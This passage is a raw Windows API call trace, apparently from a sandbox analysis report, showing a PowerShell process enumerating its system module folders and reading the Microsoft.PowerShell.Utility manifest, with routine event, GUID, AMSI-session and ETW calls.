lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x37, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", lpFilePart=0x0) returned 0x36 [0191.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.891] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.891] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0191.891] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0191.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.891] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c6b67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.892] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0191.892] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", nBufferLength=0x49, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", lpFilePart=0x0) returned 0x48 [0191.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.892] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\trustedplatformmodule"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.892] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0191.892] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x37, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", lpFilePart=0x0) returned 0x36 [0191.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.892] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfc9ca45b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.893] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0191.893] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", lpFilePart=0x0) returned 0x3c [0191.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.893] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\vpnclient"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.893] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0191.893] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x38, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", lpFilePart=0x0) returned 0x37 [0191.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.893] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\wdac"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca67fa6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.893] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0191.893] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x4b, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", lpFilePart=0x0) returned 0x4a [0191.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.894] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsdeveloperlicense"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca68f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.894] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0191.894] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x49, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", lpFilePart=0x0) returned 0x48 [0191.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.894] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca69a5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.894] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0191.894] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", lpFilePart=0x0) returned 0x40 [0191.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.894] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowssearch"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.895] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0191.895] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", lpFilePart=0x0) returned 0x40 [0191.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.895] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsupdate"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca6b8d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb286c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e350) returned 1 [0191.895] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0191.895] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0191.895] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x5bfed4e070 | out: lpFindFileData=0x5bfed4e070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704713c0 [0191.896] FindNextFileW (in: hFindFile=0x1ef704713c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.896] FindNextFileW (in: hFindFile=0x1ef704713c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0191.896] FindNextFileW (in: hFindFile=0x1ef704713c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0191.896] FindNextFileW (in: hFindFile=0x1ef704713c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0191.896] FindClose (in: hFindFile=0x1ef704713c0 | out: hFindFile=0x1ef704713c0) returned 1 [0191.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e290) returned 1 [0191.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0191.897] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0191.897] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0191.897] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0191.897] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0191.897] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0191.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0191.897] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003e5688 | out: lpFileInformation=0x1ef003e5688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0191.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0191.901] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0191.901] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0191.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e190) returned 1 [0191.901] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x73c [0191.901] GetFileType (hFile=0x73c) returned 0x1 [0191.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e100) returned 1 [0191.901] GetFileType (hFile=0x73c) returned 0x1 [0191.961] SetFilePointer (in: hFile=0x73c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4e158*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4e158*=0) returned 0x0 [0191.961] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef003e6d10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4e1d8, lpOverlapped=0x0 | out: lpBuffer=0x1ef003e6d10*, lpNumberOfBytesRead=0x5bfed4e1d8*=0x983, lpOverlapped=0x0) returned 1 [0191.962] SetFilePointer (in: hFile=0x73c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4e158*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4e158*=0) returned 0x983 [0191.962] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef003e61fb, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x5bfed4e1d8, lpOverlapped=0x0 | out: lpBuffer=0x1ef003e61fb*, lpNumberOfBytesRead=0x5bfed4e1d8*=0x0, lpOverlapped=0x0) returned 1 [0191.962] SetFilePointer (in: hFile=0x73c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4e158*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4e158*=0) returned 0x983 [0191.962] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef003e6d10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4e1d8, lpOverlapped=0x0 | out: lpBuffer=0x1ef003e6d10*, lpNumberOfBytesRead=0x5bfed4e1d8*=0x0, lpOverlapped=0x0) returned 1 [0192.059] CoCreateGuid (in: pguid=0x5bfed4e3f8 | out: pguid=0x5bfed4e3f8*(Data1=0x93a075af, Data2=0xe532, Data3=0x46a0, Data4=([0]=0xb9, [1]=0x14, [2]=0xd0, [3]=0x38, [4]=0x85, [5]=0xc6, [6]=0x1b, [7]=0x42))) returned 0x0 [0192.085] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x73c [0192.086] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x758 [0192.086] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x75c [0192.086] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x760 [0192.086] SetEvent (hEvent=0x760) returned 1 [0192.086] SetEvent (hEvent=0x73c) returned 1 [0192.086] SetEvent (hEvent=0x758) returned 1 [0192.086] SetEvent (hEvent=0x75c) returned 1 [0192.088] AmsiCloseSession () returned 0x7ff9dc0cb0a8 [0192.089] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x764 [0192.090] SetThreadUILanguage (LangId=0x0) returned 0x409 [0192.438] EtwEventActivityIdControl () returned 0x0 [0192.438] EtwEventActivityIdControl () returned 0x0 [0192.438] EtwEventActivityIdControl () returned 0x0 [0192.667] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0192.669] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0192.669] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0192.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4dbb0) returned 1 [0192.669] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4dc90 | out: lpFileInformation=0x5bfed4dc90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0192.669] 